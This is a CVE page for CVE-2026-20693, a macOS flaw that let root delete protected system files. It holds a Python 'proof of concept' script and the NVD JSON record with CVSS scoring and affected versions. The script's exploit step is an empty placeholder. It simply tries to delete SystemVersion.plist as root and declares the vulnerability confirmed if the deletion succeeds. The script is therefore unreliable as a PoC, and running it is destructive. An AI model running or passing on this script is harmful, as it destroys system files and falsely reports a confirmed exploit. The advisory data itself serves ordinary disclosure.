CVE-2026-20693

#!/usr/bin/env python3 # PoC for CVE-2026-20693 # Description: This script demonstrates the impact of the vulnerability where a root user # can delete protected system files due to improper state management. # Requirements: Root privileges on a vulnerable macOS version. import os import sys # Example target file that is usually protected by SIP or similar mechanisms TARGET_FILE = "/System/Library/CoreServices/SystemVersion.plist" def check_root(): """Check if the script is running as root.""" return os.geteuid() == 0 def trigger_vulnerability(): """Simulate the trigger for the state management issue.""" print("[*] Attempting to exploit state management bug...") # In a real exploit, specific API calls or memory manipulation would occur here # to put the system into a vulnerable state. pass def delete_protected_file(): """Attempt to delete the target file.""" if not check_root(): print("[-] Error: This script must be run as root.") sys.exit(1) if os.path.exists(TARGET_FILE): try: trigger_vulnerability() print(f"[*] Trying to delete {TARGET_FILE}...") os.remove(TARGET_FILE) print("[+] Success: Protected file deleted. Vulnerability confirmed.") except OSError as e: print(f"[-] Failed: {e}. System might be patched or SIP is blocking.") else: print(f"[-] Target file {TARGET_FILE} not found.") if __name__ == "__main__": delete_protected_file()

{"cve": {"id": "CVE-2026-20693", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:06.117", "lastModified": "2026-03-25T21:32:05.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue was addressed through improved state management. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An attacker with root privileges may be able to delete protected system files."}, {"lang": "es", "value": "Este problema se abordó mediante una mejor gestión de estado. Este problema está solucionado en macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. Un atacante con privilegios de root podría eliminar archivos de sistema protegidos."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.5", "matchCriteriaId": "D66288AF-23BD-407A-81F5-F1DFBF84C622"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.5", "matchCriteriaId": "DD21D2C9-BBEC-4E8E-B8D2-C92B7E6155E1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126795", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126796", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}